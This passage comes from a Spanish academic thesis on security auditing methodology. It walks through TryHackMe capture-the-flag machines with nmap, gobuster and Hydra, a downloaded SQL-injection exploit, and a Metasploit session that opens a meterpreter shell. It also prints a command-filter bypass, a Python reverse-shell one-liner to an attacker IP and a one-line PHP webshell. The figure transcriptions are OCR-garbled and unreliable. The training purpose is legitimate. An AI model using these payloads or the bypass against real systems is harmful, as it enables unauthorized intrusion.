Evidentemente, no se debe realizar un trabajo de reconocimiento activo antes de obtener
la autorizacion legal firmada del cliente.

Ejemplos de actividades de reconocimiento activo serian, conectarse a uno de los
servidores de la empresa, como HTTP, FTP y SMTP. Existen diferentes tipos de
herramientas de reconocimiento activo que se puede utilizar, como Wappalyzer{29][30],
whatweb[31][32], ping[33], traceroute[34][35], telnet[36], netcat[37], wireshark[38][39],
tcodump[40], wfuzz[41][42] y gobuster{43][44].

3.3 Fase dos: Escaneo

La fase de escaneo en una auditoria de seguridad es crucial para identificar
vulnerabilidades y evaluar la seguridad de un sistema, red o aplicacion. El objetivo
principal del escaneo es detectar activamente posibles puntos débiles que podrian ser
explotados por atacantes. Esto incluye vulnerabilidades conocidas en sistemas
operativos, servicios de red, aplicaciones web y otros componentes de infraestructura.

El proceso de escaneo generalmente sigue una metodologia estructurada que
puede incluir la preparacion, la ejecucion del escaneo, la recopilacion de resultados y la
generacion de informes. Los resultados del escaneo proporcionan un panorama de las
vulnerabilidades identificadas, su criticidad y recomendaciones para mitigar o corregir las
mismas. Existen diferentes tipos de herramientas de explotacion que se puede utilizar,
como Nmap|[45][46], Zap[47][48], sqimap[49][50], Nessus[51], Nikto[52][53] y WPScan[54].

3.4 Fase tres: Explotacion

La fase de explotacion de vulnerabilidades en una auditoria de seguridad es una
etapa critica en la que los auditores intentan aprovechar las debilidades identificadas
durante las fases anteriores (como el reconocimiento y el analisis de vulnerabilidades).

El objetivo principal es determinar si las vulnerabilidades encontradas pueden ser
utilizadas para comprometer la seguridad del sistema, obteniendo acceso no autorizado,
para despues, elevar privilegios y robar informacion sensible, entre otros.
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Al comprender y explotar estas vulnerabilidades, las organizaciones pueden
fortalecer sus defensas y reducir el riesgo de ser comprometidas. Existen diferentes tipos
de herramientas de explotacion que se puede utilizar, como msfvenom[62][63],
exploit-db[64], searchsploit[65], PayloadAllTheThings[66], Hydra[67], Hashcat[68], John
The Ripperi69], Crackstation[70], enum4linux(72], CyberChef[73][74], Hashes[75] y Nmap
Scripting Engine[78][79].

En particular cabe destacar Metasploit[56][57], que es una de las herramientas mas
potentes y ampliamente utilizadas en el ambito de la seguridad informatica, especialmente
en pruebas de penetracion. Es un entorno de desarrollo de codigo abierto que permite a
los profesionales de la seguridad desarrollar, probar y ejecutar exploits contra sistemas y
redes. Entre sus multiples funcionalidades, podemos destacar los moédulos de exploits
(scripts que se aprovechan de vulnerabilidades especificas), payloads (cédigos que se
ejecutan en el sistema objetivo tras explotar una vulnerabilidad) o encoders (evitan la
deteccion de payloads por parte de antivirus o sistemas IDS/IPS[58]). También
destacamos mddulos auxiliares que dan funcionalidades adicionales sin implicar la
explotacion o modulos post-explotacion que facilitan la administracidn de sistemas
comprometidos, recoleccion de datos y tareas como el pivoting[59]. Ademas, destacamos
las consolas meterpreter que son payloads avanzados e interactivos que ofrecen
comandos y funcionalidades post-explotacién, o la interfaz de linea de comandos
msfconsole[60] que ofrece acceso a todas las funcionalidades del framework.

Para el caso especifico de penetracion en servicios web, cabe destacar Burp
Suite[76][77] que es una herramienta integral disefiada para este fin. Entre sus multiples
funcionalidades, podemos destacar spider, que explora y mapea la estructura de una
aplicaciéon web, su proxy[128] que se interpone entre el navegador y servidor web para
poder interceptar y modificar solicitudes HTTP y HTTPS, el intruder{127] que automatiza
pruebas de fuerza bruta y carga en diferentes partes de una web, el repeater{126] que
permite repetir y modificar manualmente solicitudes HTTP individuales para ver el
comportamiento de la aplicacién y las extensiones que permiten a los usuarios extender
las capacidades de Burp Suite mediante scripts y scripts personalizados.

3.5 Fase cuatro: Post-explotacién

La fase de post-explotacion es crucial para evaluar el alcance de una vulnerabilidad
explotada y determinar el impacto potencial de un ataque. Esta fase incluye todas las
actividades que un atacante realiza tras obtener acceso inicial a un sistema.

Primero, el atacante buscara la consolidacion del acceso, asegurandose mantener
un acceso estable y persistente al sistema comprometido. A continuacién, se centrara en
la obtencidon de informacion sensible, recolectando datos criticos como credenciales,
informacion personal y documentos importantes. Otra prioridad durante Ila
post-explotacion es la escalada de privilegios, en la que el atacante intentara elevar sus
privilegios, obteniendo accesos de administrador o root dentro del sistema.

La movilidad lateral es también un objetivo esencial ya que el atacante intentara
moverse a otros sistemas dentro de la red, expandiendo asi el alcance del ataque y
comprometiendo mas recursos y datos. Finalmente, el encubrimiento de huellas es
fundamental para evitar la deteccidn. El atacante tratara de borrar sus rastros y registros
de sus actividades para permanecer en el sistema sin ser descubierto.
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Algunas herramientas populares para esta fase pueden ser Metasploit, Powershell
Empire[81][82], Mimikatz[83], Linux Exploit Suggester{85], Privilege Escalation Awesome
Scripts SUITE new generation (PEASS-ng)[86] y GTFOBIns[87][88].

3.6 Fase cinco: Documentacion

La fase de reporte o documentacién es basica en una auditoria de seguridad. Esta
fase implica la recoleccion de todos los hallazgos, analisis, y recomendaciones en un
formato claro y comprensible para las partes interesadas. Su objetivo es comunicar los
resultados de manera efectiva, destacando las vulnerabilidades encontradas, el riesgo
asociado, y las medidas recomendadas para mitigar los riesgos. Algunas herramientas
populares para esta fase pueden ser Dradis[89][90], Faraday[91][92], Serpico[93] v,
Markdown y plantillas de documentacion[94]. Un buen reporte de seguridad deberia
contar con los siguiente puntos desarrollados[88]:

1. Resumen ejecutivo: Se debe especificar el proposito de la auditoria, el alcance, y
los sistemas evaluados, también se deberia presentar una vision general de los
hallazgos mas criticos y sus implicaciones para poder mostrar y justificar una lista
resumida de las acciones recomendadas.

2. Metodologia: Se deben explicar los métodos y herramientas utilizados durante la
auditoria, ademas, para detallar las fases seguidas durante la auditoria y el tiempo
dedicado a cada una, se recomienda el uso de un cronograma.

3. Hallazgos detallados: Se enumerara cada vulnerabilidad encontrada con una
descripcion detallada, para posteriormente evaluar el impacto potencial de cada
vulnerabilidad y su riesgo asociado. Se debera documentar las pruebas especificas
que llevaron a la identificacion de cada vulnerabilidad.

4. Recomendaciones: Se proporcionaran recomendaciones detalladas para mitigar
cada vulnerabilidad, ademas de clasificar las recomendaciones en funcién de su
urgencia e impacto.

5. Conclusiones y siguientes pasos: Para realizar una evaluacion general, se
deberia resumir el estado general de la seguridad del sistema y se sugeriran los
préximos pasos para abordar las vulnerabilidades y mejorar la seguridad.

6. Anexos: Se podran incluir capturas de pantalla, logs, y cualquier otro material que
respalde los hallazgos, ademas de ofrecer enlaces a documentos y recursos
adicionales relevantes.
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Capitulo 4 Auditorias realizadas

En esta seccion se describen los pasos empleados durante las pruebas de
intrusion realizadas a diversas maquinas de la plataforma THM.

En ningun caso se ha ejecutado la fase de reconocimiento en su totalidad debido a
que THM nos ofrece los datos minimos necesarios para poder establecer contacto con la
maquina obijetivo, ofreciéndonos incluso su direccion IP, aunque en algunos casos si se
tuvo la oportunidad de usar algunas herramientas como WhatWeb o Whois. En el caso de
la fase de documentacion, en ningun ejercicio se ha aplicado debido a que no era
necesario para el desarrollo del presente trabajo.

Los ejercicios resueltos de THM son lo que se denomina Capture The Flag[96] (en
adelante CTF), son maquinas con vulnerabilidades en su seguridad colocadas a
conciencia cuyo objetivo es servir como practica o desafio para las personas que quieren
emplear sus conocimientos en pruebas de intrusidn. A continuacion, procederemos a
mostrar los ejercicios resueltos mas relevantes de THM.

A continuacion, se va a mostrar el procedimiento seguido para resolver los desafios
planteados en la plataforma THM, indicando en cada caso las herramientas utilizadas y
ejemplos de uso de cada una para objetivos concretos.

4.1 Segunda fase: Escaneo

Aparte de las herramientas basicas de redes como pueden ser ping y traceroute,
existen un conjunto de herramientas especialmente disefiadas para abordar esta tarea.
Destacamos las dos mas utilizadas en este trabajo.

4.1.1 Nmap

Nmap es una herramienta popular en la fase de escaneo por su versatilidad y la
informacion que proporciona. Se puede usar de diversas formas aunque el procedimiento
habitual consiste en dividir su ejecucién en un conjunto de fases encadenadas.

La primera consistiria en escanear todos los puertos que no estan cerrados
(preferiblemente en estado open), y tras descubrir cuales son dichos puertos, se procede
a realizar otra ejecucion para comprobar cual es la funcidon o servicio escuchando en
dichos puertos, Incluye un gran numero de opciones para especificar como se realiza el
escaneo o la gestion de los resultados obtenidos.

STATE SERVICE REASON

open ftp syn-ack ttl 64
open ssh

open http

02:EF: ~55=AF (Unknown)
Hay tres puertos abiertos (21, 22, 80)
Read data files from: Jusr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 19.52 seconds

Figura 1 - Escaneo de puertos abiertos de la victima con nmap

La figura 1 muestra un ejemplo de resultados obtenidos usando nmap.
Observamos que, tras escanear todos los puertos de la maquina objetivo, ésta presenta
los puertos 21, 22 y 80 abiertos, que ejecutan los protocolos FTP, SSH y HTTP
respectivamente.
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Tras averiguar los puertos abiertos en la maquina victima, podemos proceder con
el segundo escaner, cuyo resultado se muestra en la figura 2. Indicando las opciones
adecuadas, se puede apreciar que la maquina objetivo tiene tres servicios que son FTP
(vsftpd 3.0.3[110]), SSH (OpenSSH 7.6p1 Ubuntu[111]) y HTTP (Apache httpd
2.4.29[112]), lo cual nos proporciona informacion util para las siguientes fases.

root@ip-10-10-119-51:~# nmap -n -Pn -p21,22,80 -0 - -sS -sV -oN targeted 10.10.204.35

Starting Nmap 7.60 ( https://nmap.org ) at 2024-07-01 14:12 BST
Nmap scan report for 10.16.204.35
Host is up (0.00036s latency).

STATE |SERVICE VERSION

open |ftp vsftpd 3.0.3

open |ssh OpenSSH 7.6p1 Ubuntu 4ubuntu@.3 (Ubuntu Linux; protocol 2.8)
open http Apache httpd 2.4.29 ((Ubuntu))

: O2:EF:ED:43:59:ApAa(Unknown)
3 'rcllable because we could not find at least 1 open and

(95%), Llnuv 3] ) inux 3.2 (94%), AXI

ﬂ x 3.4 3 10 ), Linux 2 92%), Linux 2.6.39 - 3.2
,-. mat(hes ’ Plyn non-ideal).

on del softwar

Service Info: 0Ss x, Linux; CPE: cpe:/o:linux:linux_kernel

Figura 2 - Escaneo de servicios de puertos de la victima con nmap

4.1.2 Nikto

Nikto es una herramienta que se utiliza para identificar vulnerabilidades potenciales
y problemas de configuracion en servidores web. Como podemos ver en el ejemplo
mostrado en la figura 3, la herramienta nos muestra posibles vulnerabilidades en el
servicio web analizado.

root@ip-10-10-119-51:~# nikto -h 10.10.204.35:80 -0 report.txt
- h\kto

+ Target IP: 2
+ Target Hostname: -10-2 u-west-1.compute.internal Datosgenerales
+ Target Port: del escaner

der found with file /, s: Ox8970 0x56d7e303a7e80
e anti- rlm jac X- e ons header is not present.
No CGI Directories fo ( all' to force check all possible dirs)
address found in the 'location' header. The IP is "127.0.1.1".

IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://12

s: OPTIONS, HEAD, GET, POST <:lMétodos aceptados

: This might be interesting...

Posible contenido de interés
y indexing found. (subdirectorios y archivos)

Figura 3 - Escaneo de servidor web con Nikto

4.2 Tercera fase: Explotacion

Tras haber escaneado la maquina victima y sus servicios, tendremos una lista de
posibles vectores de ataque a la misma, sin embargo, si nos enfrentamos a un servicio
web, que es un escenario bastante frecuente, hay algunas herramientas de la fase de
reconocimiento activo que podemos emplear para complementar los datos que hayamos
recopilado en la auditoria, como son whatweb y gobuster.

whatweb es una herramienta que nos ofrece informacion relevante. Por ejemplo, en
la figura 4 podemos observar la salida de este comando cuando lo ejecutamos contra la
maquina Chill Hack del laboratorio. Cabe destacar la presencia de una direccién de correo
electronico que puede ser de utilidad en fases posteriores.
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) - 51:~# whatweb 10.10.204.35
http://10.10.204.35 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], |[Email[demo@gmail.com],
Frame, HTML5, HTTPServer[Ubuntu Linu /[2.4.29 (Ubuntu)], IP[10.16.204.35]/\JQuery|[

1.1], Script, Title[Game Info], X-UA-Compatible[IE=edge] Nuevo Email hallado

root@ip-10-10-119-51:~#

Figura 4 - Andlisis de pagina web de maquina Chill Hack con whatweb

gobuster es una herramienta de fuerza bruta que se utiliza para descubrir recursos
ocultos en servidores web, como directorios, archivos y subdominios. Como se puede
apreciar en la figura 5, usando la opcion dir para poder hallar subdirectorios de una pagina
web, la opcién “-u <URL>" y “-w <diccionario>" para especificar la URL de la pagina web
que queremos atacar y el diccionario o lista de palabras que van a usarse durante el
ataque de fuerza bruta[98], podemos ver en el campos status de la salida del comando
que se lanz6 con diez hilos (su valor por defecto), y el campo “Status codes” son los
valores aceptados en las respuestas HTTP que tiene que devolver la aplicacion web para
considerar que se ha hallado un nuevo subdirectorio.

Como se observa en la figura 5, en un intento del ataque se intentd acceder a la
URL “http://10.10.204.35/secret” siendo “secret” una palabra de la lista de palabras, y la
aplicacién web devolvié un codigo de status 301[121][122], como el cédigo de status 301
esta en nuestra lista de codigos aceptados (mostrada antes de comenzar el ataque),
afiadimos el subdirectorio “secret” a la lista de resultados.

También vemos que al finalizar el ataque hemos hallado varios subdirectorios como
images, js, server-status, fonts, que suelen ser subdirectorios genéricos, pero el que mas
nos llama la atencion es /secret/, el cual podemos deducir por su nombre que puede ser
una ruta de acceso a la maquina.

re @ip 5 # gobuster dir

: http://16.16.204.35 |<<,—1 URL objetivo
Threads: 10 .
Wordlist: Jusr/share/wordlists/dirb/common.txt <:|L|stadepalabrasausarenelataque

Status codes: 200,204,301,302,307,401,403 <:C6digos de estado HTTP de respuesta necesarios
gobuster/3.0.1 . . e
para considerar un subdirectorio hallado

/.hta (Statu

/.htaccess (Status: 403) <,‘:I5ubdirectorios ocultos (y prohibidos) hallados
/.htpasswd (Status: 403)

JCss (Status: 301)

/fonts (Status: 301) 5 i L. .
/images (Status: 301) Subdirectorios genéricos accesibles

/index.html (Status: 200)
/js (Status: 301)
/secret (Status: 361) <:I Subdirectorio publico que deberia estar oculto

Figura 5 - Uso de gobuster contra la web de la maquina Chill Hack

Tras la fase de enumeracién, vamos a hacer un listado de los datos recopilados
para averiguar qué vulnerabilidades podria presentar nuestra maquina victima y, saber
qué técnicas y herramientas utilizar para lograr un acceso ilicito en la fase de explotacion.
Sabiendo esto, podemos buscar soluciones a medida para explotar cualquier debilidad
que ofrezcan los distintos servicios que ofrezca la maquina victima, los subdirectorios de
su pagina web (si es el caso de que cuente con una) o tratar de romper la seguridad de
credenciales de usuario débiles. Nuestra superficie de ataque crecera exponencialmente
segun el numero de servicios y malas configuraciones presentes en la victima, aunque en
los siguientes apartados nos centraremos en los recién nombrados.
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Algunas herramientas que se han usado en la fase de explotacion son exploit-db
para buscar scripts que puedan explotar vulnerabilidades que previamente creemos que
podria presentar la maquina, searchsploit que es la version off-line de exploit-db, hydra
para realizar un ataque de fuerza bruta a las credenciales SSH de un usuario y hallar su
contrasefna. También usamos Reverse shell cheat sheet para hallar formas de establecer
una reverse shell en distintos lenguajes de programacion, entre otras herramientas que se
iran presentando a medida que las usemos.

Pondremos como ejemplo de esta fase, la fase de explotacién realizada para las
maquinas Simple CTF, Steel Mountain, Chill Hack y Hacker Vs Hacker, porque en ellas se
han usado algunas o varias de las herramientas que acabamos de describir.

4.2.1 exploit-db, searchsploit e Hydra

Para describir esta fase, vamos a usar como ejemplo las operaciones realizadas
sobre la maquina Simple CTF que, tras la fase de reconocimiento, comprobamos que
cuenta con tres puertos abiertos, 21 para FTP, 80 para una pagina web HTTP, y el puerto
2222 para SSH.

Ademas, observamos (usando gobuster) que el servicio web contiene un
subdirectorio /simple/ que nos muestra que esta web usa un Content Management
System[99] (en adelante CMS), el cual es un sistema de gestiébn de contenidos que
permite crear, gestionar y modificar contenido en una aplicacion web sin necesidad de
tener conocimientos avanzados en programacion.

En concreto, el CMS desplegado se llama “Made Simple” cuya version es la “2.2.8”
cdmo se puede apreciar en la figura 6. Este dato es muy importante, dado que podemos
buscar algun malware que sea capaz de aprovechar alguna vulnerabilidad de dicho CMS,
si la tiene, usando herramientas como exploit-db o searchsploit, o incluso en algunos
casos algun repositorio de GitHub[114] que contenga algun script que pueda explotar una
vulnerabilidad que presente nuestra maquina victima.

O A& 10.10.176.92

€ TryHackMe Support 4 DFffline CyberC
=
Subdirectorio raiz del CMS

Nombre y versién del CMS

al lal ul|m @ . HOW CMSMS WORKS
N i —_— T:—E"‘lp|ﬁt€‘5 ana ST},“ o]

Figura 6 - Hallamos el uso de CMS Made Simple maquina Simple CTF

En exploit-db podemos buscar “CMS Made Simple 2.2”. Como se ve en la figura 7,
se muestran distintos archivos, cada uno de los cuales es un script que esta disefiado
para explotar alguna vulnerabilidad que tiene la versién de software buscada.

Como se muestra en la figura 7, hay un archivo que se llama “CMS Made Simple <
2.2.10 - SQL Inyection”. Este archivo es un script en Python que automatiza la inyeccion
SQL para poder obtener las credenciales de usuarios del sistema. Podemos descargar
dicho archivo desde exploit-db, o podemos usar searchsploit (la correspondiente version
off-line) para ello (figura 8).
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8] % exploit-db.com

1 Gmail '» YouTube RemNote [ ULL [ Cibersequridad [ Herramientas Infor.. W EOl-Inglés [ Conodmiento Infor...

—EXPLOIT

Barra de busqueda de sE:ripts
que aprovechan exploits

Maximo de archivos mostrados a la vez
Has Apj Y Filters ¥ Reset All

Botones de INombreIs dde
os resultados
descarga
v search: | CMS made simple 2.2
2023-07-19 * X | CmsMadeSimple v2.2.17 - Stored Cross-Site Scripting (XSS) WebApps PHP Mirabbas Agalarov
2023-07-19 * CmsM xecution Web, PHP
CmsMadeSimple v2.2.17 - s n hijacking via Server-Side Template Injection S
2023-07-19 * SSTN WebApps PHP Mirabbas Agalarov
(ss
2021-04-22 * CMS Made Simple 2.2.15 - title’ Cross-Site Scripti Web. PHP bt0
2021-01-04 * CMS Made Simple 2.2.15 - RCE (Authenticated) WebApps PHP Andrey Stoykov
CMS S i Cross-Site ng via SVG File Upload
2020-12-04 * X BARS WebApps PHP Eshan Singh
Authenticated
2020-10-01 ¥ CMS Made Simple 2.2.14 - Persistent Cross-Site Scripting (Authenti WebApps PHP Roel van Beurden
2020-08-31 * CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated WebApps PHP Luis Noriega
2020-08-12 + CMS Made Simple 2.2.14 - Authenticated Arbitrary File Upload NebA PHP Roel van Beurden
Scrigt que buscabamos
2019-04-02 b4l -] ie Simple < 2.2.10 - SQL Injection PHP Daniele Scanu

dule TinyMCE - S Injection Nombres php/webapps;4810. :x

4 Module FileManager - Arbitrary File Upload de scripts php/webapps /5600 .php
- Arbitrary File Upload (Authenticated) resultados bapps /48779 .py
Authenticated Arbitrary File Upload php/webapps ;48742 txt
Persistent Cross-Site Scripting (Authenticated) ) php/webapps ;48851 txt
'title' Cross-Site Scripting (X Script que php/webapps /49793 txt

RCE (Authenticated) buscamos php/webapps 49345, txt
Stored Cross-Site Scripting via SVG File Upload (Authenticated) php/webapps;49199, txt

Authenticated) Remote Code Execution php/webapps /44976, py

- thenticated) Remote Code Execution php/webapps 45793, py
.10 - SQL Injection /webapps 46635, py
- Remote Code Execution (RCE) vebapps ;51600 txt
ession hijacking via Server-Side Template Injection ( I) p/ S 99, txt
txt

Comando para descargar script que
5-239:~#| searchsploit -m 46635 <:buscamosusandmsu identificador
Exploit Made Simple < 2.2.10 - SQL Injection
URL: https://www.exploit-db.com/exploits/46635
Path: /opt/exploitdb/exploits/php/webapps/46635.py
Code CVE-2019-9053 @ Numero CVE de vulnerabilidad concreta que se explota
Verified: False . . p
File Type: Python script, ASCII text executable <:|T|podearch|vodelscrlptdescargado
Copied to: /root/46635.py <:| Ruta absoluta local donde se descargé el script

Figura 8 - Descarga de exploit para Simple CTF con searchsploit

Una vez descargado el exploit, lo ejecutamos y desencadena un ataque de
inyeccion SQL (seccion 5.1) hallando dos datos importantes, un nombre de usuario, el
hash de una contrasefia, su valor salf{100] asociado, y la propia contrasena ya descifrada,
como se puede observar en la figura 9.
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Salt for password found: 1dac0d92e9fa6bb2
Username found: mitch

Emalil found: adminaadmin.com
Password found: 0c01f4468bd75d7a84c7eb73846e8d96
Password cracked: secret

Figura 9 - Resultado de script 46635.py contra CMS Made Simple 2.2.8

Ahora que tenemos un nombre de usuario y una contrasefa, podriamos intentar
entrar en el sistema a través del protocolo SSH. En otras situaciones menos favorables,
donde no podamos obtener la contrasefia, pero si hubiéramos hallado el nombre de
usuario, podriamos usar la herramienta Hydra[67] para tratar de hallar la contrasefa a
través de un ataque de fuerza bruta como se muestra en la figura 10.

root@ip-10-10-105-239:~# hydra -s 2222 -v -1 mitch -P |/usr/share/wordlists/rockyou.txt| -t 4 10.10.176.92 ssh
Hydra vs 6 (c) 2017 by van Hauser /THC - Please do not use in military ogAgecret service organizations, or fo

Hydra (http://www.thc.org/thc-hydra) starting at 2024-87-01 19:17: 5@ Lista de palabrasausar en el ataque

[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344398 login tries (1:1/p:14344398), ~3586100 tries per
[DATA] attacking|ssh://10.10.176.92:2222/ Protocolo, IP y puerto a usar en el ataque

VERBOSE] Resolving addresses ... [VERBOSE] resolving don

INFO] Testing if password authentication 15 supported by mitch@10.10.176.92:2222

[

[

[INFO] Successful, ord authentication supported b /10.10.176.92:2222

[2222][ssh] host: 176.92 login: mitct password: s Contrasefia hallada para el usuario especificado
[STATUS] attack finished for 10.10.176.92 (waiting for ch\ldren to complete tests)

1 of 1 target successfully completed, 1 valid password found Confirmacién de que el ataque fue un éxito

Figura 10 - Ejecucién de Hydra contra el servicio SSH de Simple CTF

Una vez obtenidas las credenciales solo tenemos que averiguar si son validas,
para ello tratamos de conectarnos a través del protocolo SSH a la maquina victima.

4.2.2 Metasploit

Otra alternativa ampliamente utilizada para la fase de explotacion, especialmente
util para los recién iniciados en esta disciplina o usuarios que no disponen de los
conocimientos necesarios, es el uso de Metasploit, que dispone de una amplia libreria de
exploits para las vulnerabilidades mas conocidas. En nuestro caso, hemos hecho uso de
esta metodologia para penetrar la maquina Steel Mountain. Esta cuenta con un servicio
web escuchando en los puertos 80 y 8080 respectivamente.

Visualizando el contenido de ambos portales, observamos que el primero no aporta
ningun elemento que pueda ser explotado, s6lo nos informa de la existencia de un usuario
llamado Bill Harper, mientras que, accediendo al puerto 8080, podemos comprobar la
presencia de un servidor de archivos que usa el protocolo HTTP para poder transferir los
archivos. Analizando este servicio, comprobamos que se trata de “HTTP file server 2.3”
(alias “Rejetto”) que podria ser utilizado como punto de entrada en caso de ser vulnerable.

Accediendo a las listas publicas de vulnerabilidades, se observa que esta
aplicacién presenta una vulnerabilidad critica cuyo numero Common Vulnerabilities and
Exposures[114] (en adelante CVE) es CVE-2014-6287[115], la cual es una vulnerabilidad
que permite al atacante obtener una ejecucion remota de comandos (Remote Code
Execution[117], en adelante RCE) aprovechando un fallo de seguridad en uno de los
archivos de la aplicacion.

Vamos a realizar la fase de explotacion usando Metasploit msfconsole para explicar
como funciona dicha herramienta. En concreto, usaremos el moddulo llamado
“‘exploit/windows/http/rejetto_hfs_exec’[116] que, en caso de éxito, nos permitiria la
ejecucion remota de comandos en la maquina victima.
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En la figura 11 se muestra el conjunto de acciones realizadas para conseguir
explotar la vulnerabilidad y transferir como carga util (payload) en la maquina victima, la
consola avanzada de metasploit conocida como meterpreter, que entre otras opciones
nos permite ejecutar un intérprete de comandos en dicha maquina.

View the full module info with the info, or info -d command.

msf6 lexploit(win http/rejetto_hfs_exec) > |set RHOST 10.10.11.219 <:AsignamoslalPdelavictima
=> 10.10

msfé6 exploit(win http/fejetto_hfs_exec) > |set RPORT 8080 <:::3

RPORT => 8080 Nombrecompleto del médulo que usamos

msf6 exploit(windows/http/rejetto_hfs_exec) > run <:::]

Asignamos el puerto del servicio
vulnerable de la victima
Iniciamos la ejecucién del médulo

tras terminar su configuracion

[*] Started reverse TCP handler on 10.10.239.164:4444
[*] Using URL: http://10.10.239.164:8080/7eV81PV
*] Server started. Iniciada consola meterpreter
[*] Sending a malicious request to / con éxito, el médulo si funcioné
[*] Payload request received: /7eV81PV
[*] Sending stage (175686 bytes) to 10.10.11.219 <[:L
[!] Tried to delete %TEMP%\GoygvoSzhvMIKK.vbs, unknown result
[*] Meterpreter session 1 opened (10.10.239.164:4444 -> 10.10.11.219:49305) at 2024-07-01 20:57:35 +0100
[*] Server stopped.

meterpreter > shell <:| Prompt de consola meterpreter ejecutando comando "shell"

Process 1264 created. _ )
hannel 2 cr eag Prompt de consola del sistema operativo

C ed. o et For " "
RS P RS pYis TR Y, victma desplegada po i omand “shel

(c) 2013 M{ soft Corporation. All rights reserved.

C:\Users|\bill|AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>Jj
Figura 11 - Ejecucion de médulo de Metasploit, maquina Steel Mountain

4.2.3 Soluciones ad-hoc

Aunque las herramientas mencionadas anteriormente permiten explotar
vulnerabilidades conocidas de una manera rapida, en la mayoria de las situaciones, con
sistemas parcheados para la correccion de estas vulnerabilidades, se requiere un analisis
mas profundo del sistema victima para poder encontrar una manera de acceder al mismo.

Vamos a ver un ejemplo retomando la maquina Chill Hack, indicada en la seccion
4.1, que tras la fase de enumeracion, descubrimos un subdirectorio llamado /secret/ que
al entrar, observamos que muestra un campo de texto donde se puede introducir
comandos que el servidor ejecutara, aunque observamos que no permite ejecutar
cualquier comando, ya que hay algunos bloqueados, como vemos en la figura 12.

10.10.62.192/secret/ -+-

— C 0 O A 10.10.62.192

TryHackMe | Learn Cy... <2 TryHackMe Support W OFf

Barra de ejecucion

<:de comandos
Mensaje emergente

que nos indica que se
rechazé el comando

Figura 12 - Intento de usar comando /s en la maquina Chill Hack

Esto sugiere que existe una lista negra de comandos en la pagina web. Después
de varios intentos fallidos con comandos bloqueados, descubrimos que Python esta
instalado. Aunque Python esta bloqueado, una técnica de ofuscacion[129] permite su
ejecucion: en vez de escribir python3, escribimos pyth\on3.
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La barra invertida escapa un caracter, evitando el filtro y permitiendo la ejecucién
del comando. Ahora necesitamos un payload en Python para ejecutar una reverse shell,
como por ejemplo:

python3 -c 'import socket, os, pty; s = socket.socket(socket. AF_INET,
socket. SOCK_STREAM); s.connect(("<IP atacante>", <PORT>)); os.dup2(s.fileno(),
0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); pty.spawn("/bin/sh")’

Este payload crea un socket TCP, se conecta a la maquina atacante mediante IP y
puerto, redirige "stdin", "stdout" y "stderr" al socket para redireccionar la entrada y salidas
estandar de la shell al socket, y finalmente, inicia una shell interactiva para que el
atacante tenga una interfaz de linea de comandos.

Por tanto, solo falta activar un proceso en nuestra maquina que escuche en el
puerto al que nos vamos a conectar desde la maquina victima (por ejemplo, 9000). Esto lo
podemos realizar con la utilidad netcat, como se observa en la figura 13.

“— X @ O A& 10.10.62.192

TryHackMe | Learn Cy... <2 TryHackMe Support ¥ OFfline Cyberd]

|(s.fileno(),2);pty‘spawn("/bin/sh")'l Execute

Reverse shell implementada en
comando de Python siendo ejecutada

Maquina atacante
esperando conexion
con NetCat por el

Conexién recibida en el puerto 9000,
puerto 9000

la reverse shell con python funcioné

earc Terminal Help Usuario
4 5-210:~# nc -lnvp 9000 suplantado
List&ning on [0.0.0.0] (family 0, port 9000) enmaquina
Connection from 10.10.62.192 59904 received!| victima

uid=33(www-data) gid=33(www-data) groups=33(www-data)
S hostname -I

hostname -1I IP de maquina victima,
10.10.62.192 172.17.0.1 <:efectivamente la

3 U reverse shell funcioné

Figura 13 - Obtencion de reverse shell de la maquina Chill Hack

Otro ejemplo de implementacion de soluciones “a medida” lo hemos realizado en la
maquina Hacker Vs Hacker donde nuestra tarea consiste en vulnerar un servidor web que
previamente ha sido vulnerado por un ciberdelincuente (informacién conocida).
Realizando un resumen de las fases previas a la explotacién, la maquina solo tiene dos
puertos abiertos, el 22 ejecutando SSH, y el 80 ejecutando un servidor web HTTP.

Al examinar la pagina web directamente, nos damos cuenta de que el
ciberdelincuente aprovechd un portal de subida de archivos para poder subir al servidor
un malware denominado webshell[105]. Una webshell es un malware que una vez
ubicado en una carpeta accesible desde la pagina web (y con permisos de ejecucion),
permite ejecutar comandos en el servidor a traves de peticiones GET.
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Como se puede observar en la figura 14.b, usamos gobuster, un fuzzer de uso
sencillo para hallar el nombre con el que se ha subido dicha webshell a la plataforma.

Como podemos observar en la figura 14.a, se ve el codigo fuente de la aplicacion
web que se encargaba de recibir los archivos por parte de los usuarios, y en la linea 9 se
ve el unico filtro que tenia la pagina web contra archivos maliciosos, era un filtro del lado
del cliente web, y solo comprobaba que el nombre del archivo tuviera la subcadena “.pdf”
(leyendo de izquierda a derecha), por eso antes de realizar el ataque de fuzzing de la
figura 14.b, podemos deducir que el atacante subio el archivo con la extension “.pdf.php”
para que el servidor cuando ejecute el archivo, detecte que es un archivo PHP y no PDF,
pese a que la pagina web por como estaba hecho su codigo, lo procesé como si fuera un
archivo PDF legible.

Vemos en la figura 14.b, en la ultima linea, que gobuster ha hallado un archivo
llamado shell.pdf.php, que por su extensién, su nombre, y el contexto, nos da a entender
que es la webshell que el anterior atacante uso para efectuar su ataque.

# gobuster dir -u http://10.10.40.166/cvs

- b
C @ @A view-source:http://10.10.40.16¢ &¥ ©@ & = _____ o lf?? ,,,,,,,,,

TryHackMe | Learn Cy... <3 TryHackMe Support ¥ Offline CyberChef

2 Hacked! If you dont want me to upload my shell, do better at filtering! 10.10.40.166/cvs/

= Threads:
Wordlist: Jusr/share/wordlists/dirb/common. txt
Status codes: 200,204,301,302,307,401,403

=1 <: Cédigo fuente de filtro palabras de la lista de palabras

débil contra la subida de 6tese que es sélo una extension)

archivos arbitrarios

/ .htpasswd.pdf.php (Status: 403)
.hta (Status: 403)

.hta.pdf.php (Status: 403)
.htaccess (Status: 403)

.htaccess.pdf.ph Archivo encontrado con la extensién

especificada, sospechamos que sea
la reverse shell por su nombre

Figuras 14.ay 14.b - Hallando el nombre de la webshell en el servidor web

Ahora sabemos que existe una webshell llamada “shell.pdf.php” en el directorio
“/cvs/”. El uso habitual de una webshell sigue el siguiente patrén:

<?php system($_GET['cmd']); 7>

Este fragmento de cédigo PHP usa la variable "cmd" obtenida por una solicitud
